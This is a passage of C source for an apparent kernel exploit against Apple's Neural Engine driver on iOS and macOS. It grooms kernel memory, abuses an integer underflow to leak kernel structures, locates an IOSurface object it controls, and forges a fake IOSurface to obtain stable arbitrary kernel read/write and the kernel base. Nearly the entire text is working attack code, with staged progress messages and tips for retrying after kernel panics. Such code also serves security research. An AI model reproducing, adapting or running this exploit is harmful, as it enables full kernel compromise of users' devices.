        /*   ...    | ProgramBuffer | ProgramBuffer |     FREED     | ProgramBuffer | ... | ProgramBuffer  ...          */
        /* ---------+---------------+---------------+---------------+---------------+-----+-------------------------    */
        /* ^------------------------------------------ kernel_map -----------------------------------------------       */
        /*                                                                                                              */

        for(int i=0; i < keys_cnt; i++) {
                dbg("Removing key 0x%x \n",keys[i]);
                iosurface_remove_property(p->iosurface,p->weightsSurface,keys[i]);
        }

}

 /* Leak H11ANESharedMemorySurfaceParamsStruct from kernel_map */
bool get_mutk_object(void)
{
        u64 program_handle =0;
        u8* _ptrbuf = 0;
        size_t sz = 0;

        /* Allocate MutableWeight with size of 0x54000 that will likely overlap with one of the freed OSArrays   */
        /*             size=0x54000         size=0x54000                                                                */
        /*           <===============> <=========================>                                                      */
        /* ---------+-----------------+----------------------------+---------------+-----+-------------------------     */
        /*   ...    | ProgramBuffer   |    MutableWeight[]  | ProgramBuffer | ... | ProgramBuffer  ...           */
        /* ---------+-----------------+----------------------------+---------------+-----+-------------------------     */
        /* ^------------------------------------------ kernel_map -----------------------------------------------       */
        /*                                                                                                              */

        setup_ANECMutableProcedureInfo((u8*)p->weightsBuffer,p->weightsBufferSize,0x54000,0x4000,p->weightsBufferSize-0x4000);

        /* 0x14000 = 'MUTK' + 'PROG' IOSurface allocation sizes                                                           */
        /* Copy out the leaked H11ANESharedMemorySurfaceParamsStruct to one of the shared memory buffers that we've       */
        /* created via IOGPU                                                                                              */
        sinfo->underflow =  0 - (0x20 * 0x14000);

#if 0

        /*
         * 0x000a7e1 = (&programbuffer->MUTK_Surface[0] - weightBuffer)/0x10 = (0x54000 + 0x53E10)/0x10
         * 0x54000 is the rounded up size of H11ANEProgramBufferParamsStruct
         * 0x53E10 is the offset of H11ANESharedMemorySurfaceParamsStruct in H11ANEProgramBufferParamsStruct object
         * 0x10 is the size of MutableWeight entry
         */

        /* Snippet from a reverse-engineer'ed MutableOperationInfo (size = 0x53E70) */
        struct MutableWeight {
                uint8_t * wbuf_chunk;
                size_t  wbuf_chunk_size;

        };

        /* Snippet from a reverse-engineer'ed H11ANESharedMemorySurfaceParamsStruct (size = 0x53E70) */
        struct __attribute__((aligned(8))) _H11ANEProgramBufferParamsStruct
        {
                ...
                H11ANESharedMemorySurfaceParamsStruct *MUTK_Surface[2];      /* + 0x53E10 */
                ...
        };

        /* reverse-engineer'ed H11ANESharedMemorySurfaceParamsStruct (size = 0x48) */
        struct H11ANESharedMemorySurfaceParamsStruct
        {
                size_t size;
                IOSurface *p_IOSurface;
                uint64_t dartMapBase;
                IOMemoryDescriptor *surface_memDesc;
                IOMemoryMap *surface_memMap;
                uintptr_t surface_vAddress;
                IODMACommand *dmaCommand;
                uint8_t usage[4];
                uint32_t ref_count;
                uint32_t programId;
                uint32_t processId;
        };
#endif

        /*
         * Because we're sure that one of the ProgramBuffer objects is adjacent to our MutableOperationInfo array,
         * and both objects are 0x54000 bytes size, it is safe to consider this value as constant
         */
        sinfo->chunk_index =  0x000a7e1;

        sinfo->read_count = 0x48;                      /* Read sizeof(H11ANESharedMemorySurfaceParamsStruct) = 0x48 */
        sinfo->global_chunk_size = ~0;
        sinfo->ocg.vals[3] = sinfo->read_count;         /* Write sizeof(H11ANESharedMemorySurfaceParamsStruct) back to our shmem */
        serialize_initinfo_section(p->initInfo,sinfo);

        program_handle = hwx_patch_and_load_model();
        do_send_ane_request(program_handle);

        u32 offset = 0, scratched_surface = 0;

        /*
         * The leaked 0x48 bytes should contain 'MUTK' integer value in it
         * If not found, it means either the spray has failed or something other than H11ANESharedMemorySurfaceParamsStruct
         * has been leaked.
         */
        struct shmem * shm = lookup_scratched_shmem('MUTK',4,&offset);
        if(shm == NULL) {
                printf("[-] Something went wrong here, if you experience this failure a lot, this means the device is not idle "
                        "and we couldn't shape the memory as expected. It's preferable to reboot the device and try again \n");
                return false;
        }

        _ptrbuf  = shm->shm_addr;
        sz = shm->shm_len;

        /* Needed for the last exploit stage */
        krw.surface_id = scratched_surface;
        krw.shm_uaddr = _ptrbuf;
        krw.shm_size = sz;
        _ptrbuf = _ptrbuf + offset - 0x38;

        memcpy(&aneMemSurface,_ptrbuf,0x48);

        hexdump(_ptrbuf,0x48);
        printf("[+] Leaked mutable kernel section (MUTK) buffer 0x%llx \n",aneMemSurface.surface_address);
        printf("[+] Leaked IOSurface object 0x%llx \n",aneMemSurface.p_IOSurface);

        /*
         * Needed to perform the arbitrary kernel write later
         * We picked a random memory that's (hopefully) one of our shared memory buffer
         * We'll figure out later its backing user space address
         */
        krw.shm_kaddr =  aneMemSurface.surface_address - (80 * 0x4000);

        printf("[+] Kernel location of our input buffer 0x%llx \n",krw.shm_kaddr);

        if(aneMemSurface.p_IOSurface > aneMemSurface.surface_address) {
                printf("*********************************************************************************\n");
                printf("FATAL: The exploit has anticipated a failure that would likely crash the device at the last stage because of the target IOSurface is invalid \n"
                       "    It's preferable to stop here and run the exploit again \n");
                printf("*********************************************************************************\n");
                return false;
        }

        bzero(shm->shm_addr,shm->shm_len);
        hwx_unload_model(program_handle);
        return true;
}

bool get_target_surface(u64 *kaddr_target)
{
        u64 program_handle =0;
        u64 target = 0;
        u8* _ptrbuf = 0;
        u32 offset = 0;

        IOSurface_zone_page  = trunc_page(aneMemSurface.p_IOSurface);
#if 0
        printf("Offset 0x%llx \n",aneMemSurface.p_IOSurface - IOSurface_zone_page);
#endif
        assert(!((aneMemSurface.p_IOSurface - IOSurface_zone_page) % IOSURFACE_OBJ_SIZE));

#if TARGET_OS_OSX
        u64 shift_off = 0x34000;
#else
        u64 shift_off = 0x14000;
#endif

        /*
         * We are trying to learn the upcoming weight surface kernel mapping in IOKitPageableMaps
         * For each program loaded, two IOSurface objects are created: 'PROG' and 'MUTK' (0x14000 bytes)
         * We need to deduce an accurate location in order to preform the arbitrary read later
         * Fortunately, it's possible to precisely anticipate the location based on the shift_off
         * if a kernel panic or failure occurred at this stage please see DEBUG_EXPLOIT_STAGE_2_KERN_PANIC
         */
        u64 weightSurface_kloc = aneMemSurface.surface_address + shift_off;
        dbg("[+] Deduced weightSurface (from IOKitPageableSpace submaps) location 0x%llx \n",weightSurface_kloc);

        IOSurfaceFastCreateArgs args = {0};

        args.IOSurfaceAllocSize =  0x20000;
        args.IOSurfaceAddress = 0;
        create_surface_fast_path(p->iosurface, &p->weightsSurface, &args);
        store_surface_id(p->weightsSurface);

        get_surface_base(p->weightsSurface,&p->weightsBuffer,(size_t *)&p->weightsBufferSize);
        dbg("[+] Created new (weight) IOSurface id=0x%x base=0x%llx size=0x%lx\n",
               p->weightsSurface,(u64)p->weightsBuffer,p->weightsBufferSize);

        target = (0 - (weightSurface_kloc - IOSurface_zone_page));
        /* target = (0x4141414141414141); //(weightSurface_kloc - IOSurface_zone_page)); */

#if DEBUG_EXPLOIT_STAGE_2_KERN_PANIC
        /*
         * In case of several failures occurred at this stage :
         * 1. Enable DEBUG_EXPLOIT_STAGE_2_KERN_PANIC
         * 2. Get the faulted address from the kernel panic log : would be something like 0x414141414XXXX242
         * 3. in lldb -> p/x 0x4141414142424242 - 0x414141414XXXX242 = new_value
         * 4. Update shift_off = (old)shift_off - new_value
         */

        target = (0 - (weightSurface_kloc - 0x4141414142424242));
        dbg("[*] Target to read from 0x%llx \n",target);
#endif

        /* Use the integer overflow to underflow the weight surface buffer to point into IOSurface_zone_page location */
        setup_ANECMutableProcedureInfo((u8*)p->weightsBuffer,p->weightsBufferSize,
                                       0x10,
                                       (0 - target ) + 0x8000,target);

        bzero(sinfo,sizeof(*sinfo));

        /* Like weightSurface_kloc, anticipate the next 'mutk' surface buffer location  */
        u64 mutk_addr = weightSurface_kloc - 0x4000;

        assert(krw.shm_kaddr);

        sinfo->underflow =  (0 - 0x003d0000);

#if !TARGET_OS_OSX
        sinfo->underflow =  (krw.shm_kaddr - mutk_addr);
#endif

        sinfo->chunk_index = 0;
        sinfo->read_count = 0x4000;               /* DeCxt::ParseTransform() case [1] 1st ReadUint64() */
        sinfo->global_chunk_size = ~0;
        sinfo->ocg.vals[3] = sinfo->read_count;
        serialize_initinfo_section(p->initInfo,sinfo);

        program_handle = hwx_patch_and_load_model();
        do_send_ane_request(program_handle);

        offset = 0;
#if TARGET_OS_OSX
        struct shmem * shm = lookup_scratched_shmem(0xfffffe,3,&offset);
#else
        struct shmem * shm = lookup_scratched_shmem(0xffffff,3,&offset);
#endif
        if(shm == NULL) {
                printf("FAIL\n");
                printf("[-] Could not find scratched Shmem .. run the exploit again\n");
                return false;
        }
        _ptrbuf  = shm->shm_addr;
        _ptrbuf = _ptrbuf + offset - 21;

        /* IOSurfaceRoot location  */
        IOSurfaceRoot = *(u64 *) (_ptrbuf + 0x28);

        /* hexdump(_ptrbuf,0x4000); */

        for(u32 i=0; i < 0x4000;i+=IOSURFACE_OBJ_SIZE) {
                u8 *ptr  = _ptrbuf + i;
                dbg("Reading from 0x%llx \n",IOSurface_zone_page + i);
                //hexdump(ptr,0x20);
                //printf("--- \n");

                /* The IOSurface we want must have one reference only so the leaked IOSurfaceClient is certainly ours  */
                u32 refcount = *(u32 *)(ptr + 8);
                u32 ss = *(u32 *)(ptr + 0xc);                 /* IOSurfaceID */

                for(int j=0; j < g_IOSurfaceIds_count; j++) {
                        if(ss == g_IOSurfaceIds[j] && refcount == 1) {
                                matched.surface_id = ss;
                                matched.loc  = ptr;
#if TARGET_OS_OSX
                                matched.IOSurfaceClient_loc = *(u64 *)(ptr + 0x338);
#else
                                matched.IOSurfaceClient_loc = *(u64 *)(ptr + 0x340);
#endif
                                matched.IOSurface_loc = IOSurface_zone_page + ptr - _ptrbuf;

                                printf("[+] Found a matching surface-id=0x%04x IOSurface=0x%llx ! \n",
                                       matched.surface_id,
                                       matched.IOSurface_loc);
                                break;
                        }
                }
                if(matched.surface_id) break;
        }

        /* assert(matched.surface_id && "Unable to find a suitable IOSurface"); */

        /* Looks like our IOSurface_zone grooming didn't work out as expected, just run the exploit again */
        if(!matched.surface_id) {
                printf("[-] Stage 3 Failed : Unable to find an IOSurface controlled by us\n");
                return false;

        }
        printf("[+] IOSurfaceClient location 0x%llx \n",matched.IOSurfaceClient_loc);
        printf("[+] IOSurface location 0x%llx \n",matched.IOSurface_loc);
        printf("[+] IOSurfaceRoot 0x%llx \n",IOSurfaceRoot);


        usleep(1000);
        bzero(shm->shm_addr,shm->shm_len);

        /* We want to overwrite IOSurface location with an arbitrary kernel address */
        target = matched.IOSurfaceClient_loc + 0x40;
        *kaddr_target  = matched.IOSurfaceClient_loc + 0x40;
        hwx_unload_model(program_handle);
        return true;
}

bool get_kernel_rw(uint64_t *kernelBaseOut)
{

        u8 * chunk = p->weightsBuffer + p->weightsBufferSize - 0x4000;
        bzero(p->weightsBuffer,p->weightsBufferSize);

        setup_ANECMutableProcedureInfo((u8*)p->weightsBuffer,p->weightsBufferSize,0x10,0x4000,p->weightsBufferSize-0x4000);

        memset(sinfo,0,sizeof(serializer_info_t));

        /* Overwrite IOSurfaceClient->pIOSurface with IOGPU shared memory (krw.shm_kaddr) */
        /* At this step, we don't know which shmem is backing the kernel mapping whose address is krw.shm_kaddr  */
        /* Let's find out ...  */

        /* We don't need to worry about determining the offset at which a bogus IOSurface object starts because it will always be at offset 0, because all IOGPU shmem sizes are page size. */
        for(u32 i=0; i < p->shmems_count;i++) {
                /* memset(p->shmems[i]->shm_addr,0x44,0x4000); */

                for(int j=0; j < p->shmems[i]->shm_len; j+=8) {
                        *(u64 *) (p->shmems[i]->shm_addr + j ) = 0x4141414100000000 |j; /* useful to detect faults */
                }

                /* Bypass IOSurface->IOSurfaceRoot check */
                *(u64 *) (p->shmems[i]->shm_addr + 0x28) = IOSurfaceRoot;

                /* Fake IOSurface->SharedRO with arbitrary kernel address to preform the leak via IOSurface::get_use_count() */
                *(u64 *) (p->shmems[i]->shm_addr + 0xc0) = (u64)krw.shm_kaddr  + 0x2000 - 0x14;

                /* SharedRO location : we want to figure out which user address matches our 'krw.shm_kaddr' */
                *(u64 *) (p->shmems[i]->shm_addr + 0x2000) = 0x41410000 |p->shmems[i]->shm_id;

        }

#if 0
        *(u64 *) chunk  = 0xdeadbeef11223344;               /* For debugging purpose  */
#else
        *(u64 *) chunk  = krw.shm_kaddr;                    /* Fake IOSurface Object */
#endif


#if TARGET_OS_OSX
        u64 mutk_addr = (aneMemSurface.surface_address + 0x40000);
#else
        u64 mutk_addr = (aneMemSurface.surface_address + 0x10000);
#endif  /* TARGET_OS_OSX */

        u64 target_write = (matched.IOSurfaceClient_loc + 0x40);

// #define DEBUG_EXPLOIT_STAGE_4_KERN_PANIC 1
#if DEBUG_EXPLOIT_STAGE_4_KERN_PANIC
        /*
         * If you encouter several kernel panics at this stage it means that the offset is not
         * quite accurate for this device, enable DEBUG_EXPLOIT_STAGE_4_KERN_PANIC and follow the steps
         * described in stage 3
         */
        target_write = 0x4141414142424242;

#endif

        /* assert(target_write < mutk_addr && "Cannot write into this address :("); */

        /*
         * Due to the nature of the OOB write, we cannot write to a memory region whose address
         * is upper to the MUTK mapping address. That's because of the enhanced kernel_map randomization.
         * Just play with MAX_SHMEMS and it will likely work in the second try ...
         */
        if(target_write > mutk_addr) {
                printf("[-] Failed: we cannot write into this address=0x%llx from mutk_addr=0x%llx\n",
                       target_write,mutk_addr);
                printf("****** INCREASE MAX_SHMEMS BY 0x1000 THEN RUN THE EXPLOIT AGAIN *********** \n");
                return false;
        }
        /* SUCCESS! we can ovewrite the target location now */
        sinfo->underflow =  (target_write) - mutk_addr;
        sinfo->chunk_index =  0;

        sinfo->read_count = 0x8;            /* DeCxt::ParseTransform() case [1] 1st ReadUint64() */
        sinfo->global_chunk_size = ~0;
        sinfo->ocg.vals[3] = sinfo->read_count;
        serialize_initinfo_section(p->initInfo,sinfo);

        u64 program_handle = hwx_patch_and_load_model();

        do_send_ane_request(program_handle);

        u32 target_shmid = 0;
#if 1
        iosurface_get_use_count(p->iosurface,matched.surface_id,&target_shmid);
#else
        /* For debugging purpose */
        for(int i=0; i < g_IOSurfaceIds_count;i++) {
                iosurface_get_use_count(p->iosurface,g_IOSurfaceIds[i],&target_shmid);
                if((target_shmid & 0x41410000) == 0x41410000)
                        break;
                target_shmid = 0;
        }
#endif

        /* assert(target_shmid); */
        if(target_shmid == 0) {
                printf("[-] Unable to retrieve the backing shmid id \n");
                return false;
        }

        target_shmid &= ~0x41410000;
        printf("[+] Got shmem id 0x%x for 0x%llx \n",target_shmid,krw.shm_kaddr);
        /* sleep(1); */

        printf("[+] Stage 5: Get stable arbitrary kernel read/write .... ");
        for(int i =0; i < p->shmems_count;i++) {
                if(target_shmid != p->shmems[i]->shm_id) continue;

                krw.shm_uaddr = (u8*)p->shmems[i]->shm_addr;
                krw.shm_size  = p->shmems[i]->shm_len;
                break;
        }

        krw.surface_id = matched.surface_id;

        u64 val = xpacd(kread64(IOSurfaceRoot));


        printf("OK \n");
        printf("[+] IOSurfaceRoot vtable 0x%llx \n",val);

        u64 temp1 = kread64(val);
        printf("[+] kread64([0x%llx]) = 0x%llx\n",val,temp1);

        u64 temp = kread64(krw.shm_kaddr + 0x3000);
        printf("[+] kread64([0x%llx]) = 0x%llx\n",krw.shm_kaddr + 0x3000,temp);
        printf("[+] kwrite64(0x%llx,0x%lx) \n",krw.shm_kaddr + 0x3000,0xdeadbeef12345678);
        kwrite64(krw.shm_kaddr + 0x3000,0xdeadbeef12345678);
        temp = kread64(krw.shm_kaddr + 0x3000);
        printf("[+] kread64([0x%llx]) = 0x%llx\n",krw.shm_kaddr + 0x3000,temp);
        /* sleep(1); */
        u64 kaddr = trunc_page(val);
        u32 magic = 0, filetype = 0;
#if 1

        do {
                kaddr -= 0x4000;
                magic = kread32(kaddr);
                filetype = kread32(kaddr + 0xc);
        }while((magic != 0xfeedfacf) || (filetype != 2));

        printf("[+] Kernel text base 0x%llx\n",kaddr);
        khexdump(kaddr,0x70);
#endif
    if (kernelBaseOut) {
        *kernelBaseOut = kaddr;
    }

#if 0
        kwrite64(0x1111111111111111,0x2222222222222222);
#endif
        return true;

}

void cleanup(void)
{
        /* Restore the old state as if nothing happened */
        kwrite64(matched.IOSurfaceClient_loc + 0x40,matched.IOSurface_loc );
        printf("[+] Cleanup done\n");



}
void show_device_spec(void)
{
        struct utsname u = {0};
        uname(&u);
        printf("\tsystem name = %s\n", u.sysname);
        printf("\tnode name   = %s\n", u.nodename);
        printf("\trelease     = %s\n", u.release);
        printf("\tversion     = %s\n", u.version);
        printf("\tmachine     = %s\n", u.machine);
}

int exploit(uint64_t *kernelBaseOut)
{
#if !TARGET_OS_OSX
        hwx_init_frameworks();
#endif

        init_structs();

        hwx_patch_model();

        printf("[+] Stage 1: Grooming kernel memory ... \n");
        /* p->groom_pageable_maps_count *= 2; */
        /* p->groom_surface_count *=2; */

        groom_IOSurface_zone();
        groom_pageable_maps();
        groom_kernel_map();

        if(!get_mutk_object())
                return -1;

        printf("[+] Stage 3: Dumping a memory page from IOSurface_zone  \n");
        u64 kaddr = 0;
        if(!get_target_surface(&kaddr))
                return -1;

        usleep(1000);
        printf("[+] Stage 4: Performing the arbitrary write primitive ... \n");
        if(!get_kernel_rw(kernelBaseOut))
                return -1;

        show_device_spec();

        return 0;
}

#if TARGET_OS_OSX
int main()
{
        return exploit();
}
#endif
